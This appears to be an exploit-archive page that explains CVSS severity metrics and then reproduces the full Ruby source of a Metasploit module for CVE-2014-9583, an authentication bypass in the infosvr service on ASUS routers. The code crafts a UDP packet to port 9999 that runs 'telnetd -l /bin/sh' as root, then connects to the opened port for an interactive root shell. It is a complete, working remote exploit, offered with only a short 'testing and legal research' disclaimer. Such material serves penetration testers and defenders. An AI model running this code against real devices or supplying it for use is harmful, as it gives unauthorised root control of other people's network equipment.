The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ASUS infosvr Authentication Bypass Command Execution
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'ASUS infosvr Auth Bypass Command Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability in the
infosvr service running on UDP port 9999 on various ASUS routers to
execute arbitrary commands as root.
This module launches the BusyBox Telnet daemon on the port specified
in the TelnetPort option to gain an interactive remote shell.
This module was tested successfully on an ASUS RT-N12E with firmware
version 2.0.0.35.
Numerous ASUS models are reportedly affected, but untested.
},
'Author' =>
[
'Friedrich Postelstorfer', # Initial public disclosure and Python exploit
'jduck', # Independent discovery and C exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'References' =>
[
['CVE', '2014-9583'],
['EDB', '35688'],
['URL', 'https://github.com/jduck/asus-cmd']
],
'DisclosureDate' => 'Jan 4 2015',
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0))
register_options [
Opt::RPORT(9999),
OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]),
OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),
OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
]
register_advanced_options [
# If the session is killed (CTRL+C) rather than exiting cleanly,
# the telnet port remains open, but is unresponsive, and prevents
# re-exploitation until the device is rebooted.
OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit'])
]
end
def telnet_timeout
(datastore['TelnetTimeout'] || 10)
end
def telnet_port
datastore['TelnetPort']
end
def request(cmd)
pkt = ''
# ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFO
pkt << "\x0C"
# PacketType [byte] ; NET_PACKET_TYPE_CMD
pkt << "\x15"
# OpCode [word] ; NET_CMD_ID_MANU_CMD
pkt << "\x33\x00"
# Info [dword] ; Comment: "Or Transaction ID"
pkt << Rex::Text.rand_text_alphanumeric(4)
# MacAddress [byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
pkt << Rex::Text.rand_text_alphanumeric(6)
# Password [byte[32]] ; Not checked at all
pkt << "\x00" * 32
# Command Length + \x00 + Command padded to 512 bytes
pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00")
end
def exploit
connect_udp
print_status "#{rhost} - Starting telnetd on port #{telnet_port}..."
udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}"
disconnect_udp
vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..."
Rex.sleep 3
vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..."
sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
'PeerPort' => telnet_port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
'Timeout' => telnet_timeout
if sock.nil?
fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"
end
vprint_status "#{rhost} - Trying to establish a telnet session..."
prompt = negotiate_telnet sock
if prompt.nil?
sock.close
fail_with Failure::Unknown, 'Unable to establish a telnet session'
end
print_good "#{rhost} - Telnet session successfully established..."
handler sock
end
def negotiate_telnet(sock)
prompt = '#'
Timeout.timeout(datastore['TelnetBannerTimeout']) do
while true
data = sock.get_once(-1, telnet_timeout)
if !data or data.length == 0
return nil
elsif data.include? prompt
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum